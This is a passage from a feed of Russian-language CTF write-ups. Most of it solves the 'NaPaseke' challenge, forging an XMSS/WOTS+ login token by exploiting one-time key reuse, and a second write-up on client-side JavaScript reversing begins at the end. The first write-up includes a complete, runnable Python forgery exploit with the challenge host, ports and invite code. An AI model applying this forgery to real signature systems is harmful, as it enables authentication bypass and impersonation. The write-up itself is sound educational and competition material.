            g_xmss_state-&amp;gt;xmss_sk
        );
    }

    return 0;
}&lt;/pre&gt;
  &lt;p id=&quot;SJNk&quot;&gt;Однако вызов &lt;code&gt;xmssmt_update_signing_key()&lt;/code&gt; в программе отсутствует.&lt;br /&gt;Поиск по исходникам показывает, что функция определена, но нигде не используется:&lt;/p&gt;
  &lt;pre id=&quot;Gclp&quot;&gt;xmss_keys.c: xmssmt_update_signing_key(...)
xmss_keys.h: xmssmt_update_signing_key(...)&lt;/pre&gt;
  &lt;p id=&quot;BDBv&quot;&gt;При каждой регистрации выполняется только:&lt;/p&gt;
  &lt;pre id=&quot;Ymk5&quot; data-lang=&quot;c&quot;&gt;xmssmt_core_sign(
    &amp;amp;g_xmss_state-&amp;gt;xmss_params,
    g_xmss_state-&amp;gt;xmss_sk,
    sm,
    &amp;amp;smlen,
    msg,
    mlen
);&lt;/pre&gt;
  &lt;p id=&quot;g2xt&quot;&gt;В результате один и тот же XMSS-индекс и один и тот же WOTS+-ключ используются для подписи множества разных имён пользователей.&lt;br /&gt;Это и является основной уязвимостью задания.&lt;/p&gt;
  &lt;h3 id=&quot;rbzq&quot;&gt;Почему повторное использование WOTS+ опасно&lt;/h3&gt;
  &lt;p id=&quot;rlhW&quot;&gt;WOTS+ состоит из набора хеш-цепочек. Для каждого элемента сообщения выбирается определённая позиция в соответствующей цепочке.&lt;br /&gt;Упрощённо подпись одного элемента выглядит так:&lt;/p&gt;
  &lt;pre id=&quot;YZzi&quot;&gt;signature[i] = F^a(secret[i])&lt;/pre&gt;
  &lt;p id=&quot;pQD4&quot;&gt;где:&lt;br /&gt;&lt;code&gt;secret[i]&lt;/code&gt; — секретное начало цепочки;&lt;br /&gt;&lt;code&gt;F&lt;/code&gt; — односторонняя хеш-функция;&lt;br /&gt;&lt;code&gt;a&lt;/code&gt; — значение, полученное из хеша сообщения.&lt;br /&gt;Проверяющая сторона продолжает вычисления до конца цепочки:&lt;/p&gt;
  &lt;pre id=&quot;AB8H&quot;&gt;public[i] = F^(w - 1 - a)(signature[i])&lt;/pre&gt;
  &lt;p id=&quot;wM0z&quot;&gt;Если известна подпись для значения &lt;code&gt;a&lt;/code&gt;, можно получить подпись для любого большего значения &lt;code&gt;b&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;9cAk&quot;&gt;F^(b - a)(signature[i]) = F^b(secret[i])&lt;/pre&gt;
  &lt;p id=&quot;MT80&quot;&gt;Вернуться назад по цепочке невозможно, но двигаться вперёд можно.&lt;br /&gt;Следовательно, если один WOTS+-ключ используется для подписания большого количества сообщений, для каждой цепочки можно выбрать подпись с минимальной известной позицией. После этого из неё можно вычислить подпись почти для любого другого сообщения.&lt;/p&gt;
  &lt;p id=&quot;fUPd&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;z8xc&quot; data-align=&quot;center&quot;&gt;Формат подписи&lt;/h2&gt;
  &lt;p id=&quot;Pwvg&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;DvgZ&quot;&gt;Размер XMSS-подписи в задании:&lt;/p&gt;
  &lt;pre id=&quot;SSjC&quot; data-lang=&quot;c&quot;&gt;#define XMSS_SIG_SIZE 1684&lt;/pre&gt;
  &lt;p id=&quot;bamI&quot;&gt;Открытый ключ имеет размер 32 байта:&lt;/p&gt;
  &lt;pre id=&quot;3CMz&quot; data-lang=&quot;c&quot;&gt;#define XMSS_PK_SIZE 32&lt;/pre&gt;
  &lt;p id=&quot;O83R&quot;&gt;Он состоит из:&lt;/p&gt;
  &lt;pre id=&quot;0jGx&quot;&gt;root     — 16 байт
pub_seed — 16 байт&lt;/pre&gt;
  &lt;p id=&quot;JvA1&quot;&gt;Начало подписи имеет следующий формат:&lt;/p&gt;
  &lt;pre id=&quot;K3yj&quot;&gt;offset  size   назначение
0       4      XMSS index
4       16     случайное значение R
20      288    WOTS+ подпись нижнего уровня&lt;/pre&gt;
  &lt;p id=&quot;zMig&quot;&gt;Параметры WOTS+:&lt;/p&gt;
  &lt;pre id=&quot;vsKb&quot;&gt;n        = 16
w        = 256
len_1    = 16
len_2    = 2
WOTS_LEN = 18&lt;/pre&gt;
  &lt;p id=&quot;CdTm&quot;&gt;Размер WOTS+-части:&lt;/p&gt;
  &lt;pre id=&quot;gkiv&quot;&gt;18 × 16 = 288 байт&lt;/pre&gt;
  &lt;p id=&quot;is70&quot;&gt;Таким образом:&lt;/p&gt;
  &lt;pre id=&quot;O4ae&quot;&gt;N = 16
WOTS_LEN = 18
WOTS_OFFSET = 4 + N
WOTS_BYTES = WOTS_LEN * N&lt;/pre&gt;
  &lt;p id=&quot;MAL5&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;NIxB&quot; data-align=&quot;center&quot;&gt;Проверка повторного использования ключа&lt;/h2&gt;
  &lt;p id=&quot;PFsE&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;skcZ&quot;&gt;Регистрируем несколько пользователей и разбираем полученные токены.&lt;br /&gt;Каждый токен состоит из XMSS-подписи и подписанного сообщения:&lt;/p&gt;
  &lt;pre id=&quot;nTmb&quot;&gt;token = signature || username&lt;/pre&gt;
  &lt;p id=&quot;zKPK&quot;&gt;Для каждого токена извлекаем индекс и значение &lt;code&gt;R&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;umgR&quot;&gt;sig = token[:1684]

idx = int.from_bytes(sig[:4], &amp;quot;big&amp;quot;)
R = sig[4:20]&lt;/pre&gt;
  &lt;p id=&quot;nImW&quot;&gt;У всех полученных подписей значения совпадают:&lt;/p&gt;
  &lt;pre id=&quot;AdRB&quot;&gt;idx одинаковый
R одинаковый&lt;/pre&gt;
  &lt;p id=&quot;w31J&quot;&gt;Одинаковый &lt;code&gt;idx&lt;/code&gt; подтверждает повторное использование одного листа XMSS и, следовательно, одного нижнего WOTS+-ключа.&lt;br /&gt;Одинаковое значение &lt;code&gt;R&lt;/code&gt; дополнительно упрощает атаку: для вычисления хеша целевого сообщения можно использовать параметры любой зарегистрированной подписи.&lt;/p&gt;
  &lt;h2 id=&quot;M6iw&quot; data-align=&quot;center&quot;&gt;Вычисление хеша сообщения&lt;/h2&gt;
  &lt;p id=&quot;PGLV&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;3Jdx&quot;&gt;В данной реализации используется MD5 с доменным разделением.&lt;br /&gt;Хеш подписываемого сообщения вычисляется как:&lt;/p&gt;
  &lt;pre id=&quot;SsOe&quot;&gt;H_msg = MD5(
    toByte(2, 4) ||
    R ||
    root ||
    index ||
    message
)&lt;/pre&gt;
  &lt;p id=&quot;I0Ia&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;FgYQ&quot; data-align=&quot;center&quot;&gt;Реализация на python&lt;/h2&gt;
  &lt;p id=&quot;1R2z&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;J0DK&quot; data-lang=&quot;python&quot;&gt;def message_digest(root: bytes, idx: int, R: bytes, msg: bytes) -&amp;gt; bytes:
    return hashlib.md5(
        struct.pack(&amp;quot;&amp;gt;I&amp;quot;, 2)
        + R
        + root
        + idx.to_bytes(16, &amp;quot;big&amp;quot;)
        + msg
    ).digest()&lt;/pre&gt;
  &lt;p id=&quot;ojAb&quot;&gt;Так как &lt;code&gt;n = 16&lt;/code&gt;, хеш содержит 16 байт. При &lt;code&gt;w = 256&lt;/code&gt; каждый байт непосредственно задаёт длину одной WOTS-цепочки.&lt;br /&gt;К ним добавляется двухбайтовая контрольная сумма:&lt;/p&gt;
  &lt;pre id=&quot;N1tb&quot; data-lang=&quot;python&quot;&gt;def chain_lengths(digest: bytes):
    values = list(digest)

    checksum = sum(255 - value for value in values)
    values.extend(checksum.to_bytes(2, &amp;quot;big&amp;quot;))

    return values&lt;/pre&gt;
  &lt;p id=&quot;QefN&quot;&gt;В итоге для каждого сообщения получается 18 длин цепочек.&lt;br /&gt;8. Сбор элементов WOTS+&lt;br /&gt;Регистрируем большое количество случайных пользователей. Для каждого имени:&lt;br /&gt;получаем токен;&lt;br /&gt;вычисляем хеш подписанного имени;&lt;br /&gt;определяем 18 длин WOTS-цепочек;&lt;br /&gt;извлекаем 18 элементов из подписи;&lt;br /&gt;для каждой позиции сохраняем элемент с минимальной длиной цепочки.&lt;br /&gt;Логика сбора:&lt;/p&gt;
  &lt;pre id=&quot;jhaa&quot; data-lang=&quot;python&quot;&gt;best = [None] * WOTS_LEN

for j, length in enumerate(lengths):
    element = wots[j * N:(j + 1) * N]

    if best[j] is None or length &amp;lt; best[j][0]:
        best[j] = (length, element)&lt;/pre&gt;
  &lt;p id=&quot;wjFc&quot;&gt;Для целевого сообщения &lt;code&gt;kopatych&lt;/code&gt; также вычисляем необходимые длины:&lt;/p&gt;
  &lt;pre id=&quot;udZw&quot; data-lang=&quot;python&quot;&gt;target_digest = message_digest(
    root,
    common_idx,
    common_R,
    b&amp;quot;kopatych&amp;quot;
)

target_lengths = chain_lengths(target_digest)&lt;/pre&gt;
  &lt;p id=&quot;t6LO&quot;&gt;Для успешной подделки подписи должно выполняться условие для всех 18 цепочек.&lt;/p&gt;
  &lt;pre id=&quot;H9tF&quot;&gt;known_length[i] &amp;lt;= target_length[i]&lt;/pre&gt;
  &lt;p id=&quot;aZrH&quot;&gt;Если для какой-либо позиции сохранённый элемент находится дальше по цепочке, чем требуется для &lt;code&gt;kopatych&lt;/code&gt;, нужно продолжать регистрацию пользователей.&lt;br /&gt;Поскольку значения байтов хеша распределены практически равномерно, через некоторое количество регистраций для каждой позиции находится достаточно ранний элемент цепочки.&lt;/p&gt;
  &lt;p id=&quot;oq0J&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;YBFe&quot; data-align=&quot;center&quot;&gt;Продолжение WOTS-цепочек&lt;/h2&gt;
  &lt;p id=&quot;fW4S&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;0IJx&quot;&gt;Для преобразования найденного элемента в элемент подписи &lt;code&gt;kopatych&lt;/code&gt; необходимо продолжить соответствующую хеш-цепочку.&lt;br /&gt;В WOTS+ хеширование зависит не только от текущего значения, но и от адреса элемента.&lt;br /&gt;Адрес содержит:&lt;/p&gt;
  &lt;ul id=&quot;T5Pj&quot;&gt;
    &lt;li id=&quot;huqn&quot;&gt;слой XMSSMT;&lt;/li&gt;
    &lt;li id=&quot;9Qym&quot;&gt;индекс дерева;&lt;/li&gt;
    &lt;li id=&quot;pwwz&quot;&gt;индекс листа;&lt;/li&gt;
    &lt;li id=&quot;8DVf&quot;&gt;номер WOTS-цепочки;&lt;/li&gt;
    &lt;li id=&quot;VHds&quot;&gt;текущий шаг цепочки;&lt;/li&gt;
    &lt;li id=&quot;AjuV&quot;&gt;тип хеширования.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ljc7&quot;&gt;Реализация функции &lt;code&gt;F&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;ORw9&quot; data-lang=&quot;python&quot;&gt;def prf(pub_seed: bytes, addr_words) -&amp;gt; bytes:
    addr = b&amp;quot;&amp;quot;.join(struct.pack(&amp;quot;&amp;gt;I&amp;quot;, x) for x in addr_words)
    return hashlib.md5(
        struct.pack(&amp;quot;&amp;gt;I&amp;quot;, 3)
        + pub_seed
        + addr
    ).digest()
def thash_f(value: bytes, pub_seed: bytes, addr_words) -&amp;gt; bytes:
    addr = list(addr_words)

    addr[7] = 0
    key = prf(pub_seed, addr)

    addr[7] = 1
    mask = prf(pub_seed, addr)

    masked = bytes(
        x ^ y for x, y in zip(value, mask)
    )

    return hashlib.md5(
        struct.pack(&amp;quot;&amp;gt;I&amp;quot;, 0)
        + key
        + masked
    ).digest()&lt;/pre&gt;
  &lt;p id=&quot;KvL3&quot;&gt;Для каждого элемента подписи выполняем необходимое количество шагов:&lt;/p&gt;
  &lt;pre id=&quot;cujQ&quot; data-lang=&quot;python&quot;&gt;for j, target_length in enumerate(target_lengths):
    start_length, value = best[j]

    address = [
        0,
        (idx_tree &amp;gt;&amp;gt; 32) &amp;amp; 0xffffffff,
        idx_tree &amp;amp; 0xffffffff,
        0,
        idx_leaf,
        j,
        0,
        0
    ]

    for step in range(start_length, target_length):
        address[6] = step
        value = thash_f(value, pub_seed, address)

    offset = WOTS_OFFSET + j * N
    forged_signature[offset:offset + N] = value
    &lt;/pre&gt;
  &lt;p id=&quot;xhHX&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;C5qV&quot; data-align=&quot;center&quot;&gt;Почему достаточно изменить только нижнюю WOTS-подпись&lt;/h2&gt;
  &lt;p id=&quot;3Z0B&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;fkem&quot;&gt;&lt;br /&gt;XMSSMT-подпись содержит несколько уровней дерева.&lt;br /&gt;Можно было бы предположить, что для подделки сообщения потребуется заново построить:&lt;/p&gt;
  &lt;ul id=&quot;RQP7&quot;&gt;
    &lt;li id=&quot;7Jj9&quot;&gt;WOTS-подписи всех уровней;&lt;/li&gt;
    &lt;li id=&quot;FNKJ&quot;&gt;пути аутентификации;&lt;/li&gt;
    &lt;li id=&quot;EWrK&quot;&gt;корни промежуточных деревьев.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;hJQs&quot;&gt;Однако это не требуется.&lt;br /&gt;Повторно используется тот же XMSS-индекс. После модификации нижней WOTS+-подписи она всё равно восстанавливает тот же открытый WOTS-ключ, что и легитимная подпись.&lt;br /&gt;Следовательно:&lt;/p&gt;
  &lt;ul id=&quot;YsGP&quot;&gt;
    &lt;li id=&quot;6lOl&quot;&gt;лист дерева остаётся прежним;&lt;/li&gt;
    &lt;li id=&quot;KsTN&quot;&gt;путь аутентификации нижнего дерева остаётся валидным;&lt;/li&gt;
    &lt;li id=&quot;Mhhk&quot;&gt;корень нижнего дерева не изменяется;&lt;/li&gt;
    &lt;li id=&quot;0mIU&quot;&gt;подписи верхних уровней остаются валидными.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;NOi7&quot;&gt;Поэтому из любого легитимного токена можно сохранить:&lt;/p&gt;
  &lt;ul id=&quot;uPS3&quot;&gt;
    &lt;li id=&quot;XoVi&quot;&gt;индекс;&lt;/li&gt;
    &lt;li id=&quot;Alcv&quot;&gt;&lt;code&gt;R&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;lOOM&quot;&gt;пути аутентификации;&lt;/li&gt;
    &lt;li id=&quot;PYwj&quot;&gt;WOTS-подписи верхних уровней.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;bvI7&quot;&gt;Заменить необходимо только первые 288 байт WOTS+-части, начиная со смещения 20.&lt;/p&gt;
  &lt;p id=&quot;U1L3&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;W2ou&quot; data-align=&quot;center&quot;&gt;Формирование поддельного токена&lt;/h2&gt;
  &lt;p id=&quot;lewR&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;SlLz&quot;&gt;Берём любую легитимную подпись как основу:&lt;/p&gt;
  &lt;pre id=&quot;D1o8&quot;&gt;forged_signature = bytearray(base_signature)&lt;/pre&gt;
  &lt;p id=&quot;lewU&quot;&gt;Заменяем в ней нижнюю WOTS+-часть, после чего добавляем целевое имя пользователя:&lt;/p&gt;
  &lt;pre id=&quot;nJKQ&quot;&gt;forged_token = bytes(forged_signature) + b&amp;quot;kopatych&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;fUkI&quot;&gt;Токен отправляется в функцию авторизации в hex-представлении:&lt;/p&gt;
  &lt;pre id=&quot;7PNi&quot;&gt;client.login(forged_token)&lt;/pre&gt;
  &lt;p id=&quot;f4GD&quot;&gt;Сервер успешно проверяет подпись и извлекает имя:&lt;/p&gt;
  &lt;pre id=&quot;dNH6&quot;&gt;Login successful&lt;/pre&gt;
  &lt;p id=&quot;a2iP&quot;&gt;Затем запрашиваем стену пользователя:&lt;/p&gt;
  &lt;pre id=&quot;TwHb&quot;&gt;P
kopatych&lt;/pre&gt;
  &lt;p id=&quot;aBwp&quot;&gt;Поскольку сессия теперь принадлежит VIP-пользователю &lt;code&gt;kopatych&lt;/code&gt;, сервер возвращает полное содержимое публикации, включая искомую локацию.&lt;/p&gt;
  &lt;p id=&quot;udI5&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;NeMi&quot; data-align=&quot;center&quot;&gt;Эксплойт&lt;/h2&gt;
  &lt;p id=&quot;tpXv&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;G2vz&quot; data-lang=&quot;python&quot;&gt;#!/usr/bin/env python3
import argparse
import hashlib
import os
import random
import socket
import string
import struct
import sys
import time

INVITE_DEFAULT = &amp;#x27;uCQq3YsK7TmoZBlN4UYkng&amp;#x27;
XMSS_SIG_SIZE = 1684
N = 16
WOTS_LEN = 18
WOTS_OFFSET = 4 + N
WOTS_BYTES = WOTS_LEN * N


def md5(data: bytes) -&amp;gt; bytes:
    return hashlib.md5(data).digest()


def u32(x: int) -&amp;gt; bytes:
    return struct.pack(&amp;#x27;&amp;gt;I&amp;#x27;, x &amp;amp; 0xffffffff)


def prf(pub_seed: bytes, addr_words) -&amp;gt; bytes:
    addr = b&amp;#x27;&amp;#x27;.join(u32(x) for x in addr_words)
    return md5(u32(3) + pub_seed + addr)


def thash_f(value: bytes, pub_seed: bytes, addr_words) -&amp;gt; bytes:
    a = list(addr_words)
    a[7] = 0
    key = prf(pub_seed, a)
    a[7] = 1
    mask = prf(pub_seed, a)
    return md5(u32(0) + key + bytes(x ^ y for x, y in zip(value, mask)))


def message_digest(root: bytes, idx: int, R: bytes, msg: bytes) -&amp;gt; bytes:
    return md5(u32(2) + R + root + idx.to_bytes(N, &amp;#x27;big&amp;#x27;) + msg)


def chain_lengths(digest: bytes):
    vals = list(digest)
    checksum = sum(255 - x for x in vals)
    vals.extend(checksum.to_bytes(2, &amp;#x27;big&amp;#x27;))
    return vals


def recv_until(sock: socket.socket, marker: bytes, timeout=20) -&amp;gt; bytes:
    sock.settimeout(timeout)
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(65536)
        if not chunk:
            raise EOFError(f&amp;#x27;connection closed while waiting for {marker!r}&amp;#x27;)
        data += chunk
    return bytes(data)


class Client:
    def __init__(self, host, port, invite):
        self.s = socket.create_connection((host, port), timeout=10)
        recv_until(self.s, b&amp;#x27;Invite code: &amp;#x27;)
        self.s.sendall(invite.encode() + b&amp;#x27;\n&amp;#x27;)
        recv_until(self.s, b&amp;#x27;Enter your choice: &amp;#x27;)

    def cmd(self, letter: str, prompt: bytes | None = None, answer: str | None = None) -&amp;gt; bytes:
        self.s.sendall(letter.encode() + b&amp;#x27;\n&amp;#x27;)
        data = b&amp;#x27;&amp;#x27;
        if prompt is not None:
            data = recv_until(self.s, prompt)
            self.s.sendall(answer.encode() + b&amp;#x27;\n&amp;#x27;)
        data += recv_until(self.s, b&amp;#x27;Enter your choice: &amp;#x27;)
        return data

    def get_public_key(self) -&amp;gt; bytes:
        out = self.cmd(&amp;#x27;K&amp;#x27;).decode(errors=&amp;#x27;replace&amp;#x27;)
        line = next(x for x in out.splitlines() if &amp;#x27;Public Key&amp;#x27; in x)
        return bytes.fromhex(line.rsplit(&amp;#x27;: &amp;#x27;, 1)[1].strip())

    def list_vips(self) -&amp;gt; str:
        return self.cmd(&amp;#x27;V&amp;#x27;).decode(errors=&amp;#x27;replace&amp;#x27;)

    def register(self, username: str) -&amp;gt; bytes:
        out = self.cmd(&amp;#x27;R&amp;#x27;, b&amp;#x27;Nickname (max 16 chars): &amp;#x27;, username).decode(errors=&amp;#x27;replace&amp;#x27;)
        for line in out.splitlines():
            if &amp;#x27;HoneyPass token: &amp;#x27; in line:
                return bytes.fromhex(line.split(&amp;#x27;HoneyPass token: &amp;#x27;, 1)[1].strip())
        raise RuntimeError(f&amp;#x27;failed to register {username!r}: {out}&amp;#x27;)

    def login(self, token: bytes) -&amp;gt; str:
        return self.cmd(&amp;#x27;L&amp;#x27;, b&amp;#x27;HoneyPass token: &amp;#x27;, token.hex()).decode(errors=&amp;#x27;replace&amp;#x27;)

    def peek(self, username: str) -&amp;gt; str:
        return self.cmd(&amp;#x27;P&amp;#x27;, b&amp;#x27;or another nickname): &amp;#x27;, username).decode(errors=&amp;#x27;replace&amp;#x27;)


def random_username(counter: int) -&amp;gt; str:
    # Printable, unique, at most 16 characters.
    suffix = format(counter, &amp;#x27;x&amp;#x27;)
    rnd = &amp;#x27;&amp;#x27;.join(random.choice(string.ascii_letters + string.digits) for _ in range(15-len(suffix)))
    return (&amp;#x27;x&amp;#x27; + rnd + suffix)[:16]


def forge(host, port, invite, target, max_samples):
    c = Client(host, port, invite)
    print(&amp;#x27;[+] Connected&amp;#x27;)
    print(c.list_vips().strip())

    pk = c.get_public_key()
    if len(pk) != 32:
        raise RuntimeError(f&amp;#x27;unexpected public key length: {len(pk)}&amp;#x27;)
    root, pub_seed = pk[:16], pk[16:]
    print(f&amp;#x27;[+] Public root: {root.hex()}&amp;#x27;)
    print(f&amp;#x27;[+] Public seed: {pub_seed.hex()}&amp;#x27;)

    best = [None] * WOTS_LEN  # (chain_length, 16-byte WOTS element)
    base_sig = None
    common_idx = None
    common_R = None

    for i in range(max_samples):
        username = random_username(i)
        signed = c.register(username)
        if len(signed) != XMSS_SIG_SIZE + len(username):
            raise RuntimeError(f&amp;#x27;unexpected signed token length {len(signed)}&amp;#x27;)
        sig, msg = signed[:XMSS_SIG_SIZE], signed[XMSS_SIG_SIZE:]
        idx = int.from_bytes(sig[:4], &amp;#x27;big&amp;#x27;)
        R = sig[4:20]

        if base_sig is None:
            base_sig = bytearray(sig)
            common_idx, common_R = idx, R
        elif idx != common_idx or R != common_R:
            raise RuntimeError(&amp;#x27;signing index/R changed; reconnect to a fresh instance or use concurrent collection&amp;#x27;)

        digest = message_digest(root, idx, R, msg)
        lengths = chain_lengths(digest)
        wots = sig[WOTS_OFFSET:WOTS_OFFSET + WOTS_BYTES]
        for j, length in enumerate(lengths):
            elem = wots[j*N:(j+1)*N]
            if best[j] is None or length &amp;lt; best[j][0]:
                best[j] = (length, elem)

        target_digest = message_digest(root, common_idx, common_R, target.encode())
        target_lengths = chain_lengths(target_digest)
        missing = [j for j in range(WOTS_LEN) if best[j] is None or best[j][0] &amp;gt; target_lengths[j]]
        if i % 25 == 0 or not missing:
            mins = &amp;#x27;,&amp;#x27;.join(&amp;#x27;--&amp;#x27; if x is None else f&amp;#x27;{x[0]:02x}&amp;#x27; for x in best)
            print(f&amp;#x27;[*] samples={i+1:4d}, missing={missing}, minima={mins}&amp;#x27;)
        if not missing:
            break
    else:
        raise RuntimeError(f&amp;#x27;not enough samples after {max_samples}; increase --max-samples&amp;#x27;)

    target_digest = message_digest(root, common_idx, common_R, target.encode())
    target_lengths = chain_lengths(target_digest)
    print(f&amp;#x27;[+] Target @{target} digest: {target_digest.hex()}&amp;#x27;)
    print(&amp;#x27;[+] Target chain lengths:&amp;#x27;, target_lengths)

    idx_tree = common_idx &amp;gt;&amp;gt; 8
    idx_leaf = common_idx &amp;amp; 0xff
    for j, target_len in enumerate(target_lengths):
        start_len, value = best[j]
        addr = [0, (idx_tree &amp;gt;&amp;gt; 32) &amp;amp; 0xffffffff, idx_tree &amp;amp; 0xffffffff, 0,
                idx_leaf, j, 0, 0]
        for step in range(start_len, target_len):
            addr[6] = step
            value = thash_f(value, pub_seed, addr)
        off = WOTS_OFFSET + j*N
        base_sig[off:off+N] = value

    forged = bytes(base_sig) + target.encode()
    print(f&amp;#x27;[+] Forged token: {forged.hex()}&amp;#x27;)
    login_out = c.login(forged)
    print(login_out.strip())
    if &amp;#x27;Login successful&amp;#x27; not in login_out:
        raise RuntimeError(&amp;#x27;forged login failed&amp;#x27;)
    wall = c.peek(target)
    print(&amp;#x27;\n[+] Full wall output:\n&amp;#x27; + wall)


if __name__ == &amp;#x27;__main__&amp;#x27;:
    ap = argparse.ArgumentParser(description=&amp;#x27;NaPaseke XMSS/WOTS one-time-key reuse exploit&amp;#x27;)
    ap.add_argument(&amp;#x27;host&amp;#x27;, nargs=&amp;#x27;?&amp;#x27;, default=&amp;#x27;napaseke-m9ybjl6b.avitoctf.ru&amp;#x27;)
    ap.add_argument(&amp;#x27;port&amp;#x27;, nargs=&amp;#x27;?&amp;#x27;, type=int, default=30012)
    ap.add_argument(&amp;#x27;--invite&amp;#x27;, default=INVITE_DEFAULT)
    ap.add_argument(&amp;#x27;--target&amp;#x27;, default=&amp;#x27;kopatych&amp;#x27;)
    ap.add_argument(&amp;#x27;--max-samples&amp;#x27;, type=int, default=2000)
    args = ap.parse_args()
    forge(args.host, args.port, args.invite, args.target, args.max_samples)
    &lt;/pre&gt;
  &lt;p id=&quot;G2vz&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;JrXJ&quot; data-align=&quot;center&quot;&gt;Запуск&lt;/h2&gt;
  &lt;p id=&quot;5NIC&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;Fz3S&quot; data-lang=&quot;bash&quot;&gt;python3 solve_napaseke.py \
    napaseke-m9ybjl6b.avitoctf.ru \
    30012&lt;/pre&gt;
  &lt;p id=&quot;lqpm&quot;&gt;Если основной инстанс недоступен, можно использовать дополнительные порты:&lt;/p&gt;
  &lt;pre id=&quot;c0Bk&quot; data-lang=&quot;bash&quot;&gt;python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30112
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30212
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30312
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30412&lt;/pre&gt;
  &lt;p id=&quot;sKXI&quot;&gt;После накопления достаточного количества подписей эксплойт выводит:&lt;/p&gt;
  &lt;pre id=&quot;yc1d&quot;&gt;Login successful&lt;/pre&gt;
  &lt;p id=&quot;NrYg&quot;&gt;А затем полное содержимое стены пользователя &lt;code&gt;kopatych&lt;/code&gt;, в котором указана искомая локация.&lt;/p&gt;
  &lt;h2 id=&quot;sdlD&quot; data-align=&quot;center&quot;&gt;Итог&lt;/h2&gt;
  &lt;p id=&quot;siTz&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Gphe&quot;&gt;Причиной уязвимости стало нарушение основного требования stateful hash-based signatures: одноразовый WOTS+-ключ был использован для подписи множества различных сообщений.&lt;br /&gt;Функция обновления состояния секретного ключа была реализована, но не вызывалась после создания подписи. Поэтому все зарегистрированные пользователи получали токены, сформированные с одним XMSS-индексом.&lt;br /&gt;Собрав несколько таких подписей, можно:&lt;br /&gt;определить позиции элементов в WOTS+-цепочках;&lt;br /&gt;выбрать наиболее ранний известный элемент каждой цепочки;&lt;br /&gt;продолжить цепочки до значений, необходимых для строки &lt;code&gt;kopatych&lt;/code&gt;;&lt;br /&gt;заменить нижнюю WOTS+-часть легитимной XMSS-подписи;&lt;br /&gt;сохранить остальные уровни XMSSMT без изменений;&lt;br /&gt;сформировать валидный токен пользователя &lt;code&gt;kopatych&lt;/code&gt;;&lt;br /&gt;войти под VIP-профилем и прочитать закрытую публикацию.&lt;br /&gt;Уязвимость классифицируется как повторное использование одноразового ключа в WOTS+/XMSS, приводящее к подделке цифровой подписи и обходу механизма аутентификации.&lt;/p&gt;

</content></entry><entry><id>filepom:firststeps</id><link rel="alternate" type="text/html" href="https://teletype.in/@filepom/firststeps?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><title>Writeup - firststeps</title><published>2026-07-27T12:47:07.889Z</published><updated>2026-07-27T14:37:57.413Z</updated><summary type="html">Цель: Найти флаг на CTF-задаче «Первые шаги»</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;qonK&quot;&gt;&lt;strong&gt;Цель:&lt;/strong&gt; Найти флаг на CTF-задаче «Первые шаги»&lt;/p&gt;
    &lt;p id=&quot;8hOG&quot;&gt;&lt;strong&gt;Декодирование:&lt;/strong&gt; «The early bee gets the honey» (Кто рано встаёт — того мёд ждёт) — leetspeak&lt;br /&gt;&lt;strong&gt;Категория:&lt;/strong&gt; Web/JavaScript reverse engineering (client-side CTF challenge)&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;JHzo&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;NDoe&quot; data-align=&quot;center&quot;&gt;Разведка&lt;/h2&gt;
  &lt;p id=&quot;oVR4&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;Rlp8&quot;&gt;
    &lt;li id=&quot;cSiw&quot;&gt;Открываем сайт &lt;a href=&quot;https://firststeps-5w7im53y.avitoctf.ru&quot; target=&quot;_blank&quot;&gt;https://firststeps-5w7im53y.avitoctf.ru&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;euEg&quot;&gt;Видим игру «Первые шаги» — лабиринт на сотах, где нужно провести барсука-медоеда к флагу, обходя ловушки&lt;/li&gt;
    &lt;li id=&quot;hlIN&quot;&gt;Изучаем исходный код страницы — находим подключённый JavaScript-файл &lt;code&gt;/assets/firststeps.js&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;DA03&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;d5cc&quot; data-align=&quot;center&quot;&gt;Анализ JavaScript&lt;/h2&gt;
  &lt;p id=&quot;KC9c&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;OTj0&quot;&gt;В файле &lt;code&gt;firststeps.js&lt;/code&gt; обнаруживаем ключевую функцию &lt;code&gt;levelReward(level)&lt;/code&gt;, которая генерирует часть флага для каждого уровня сложности:&lt;/p&gt;
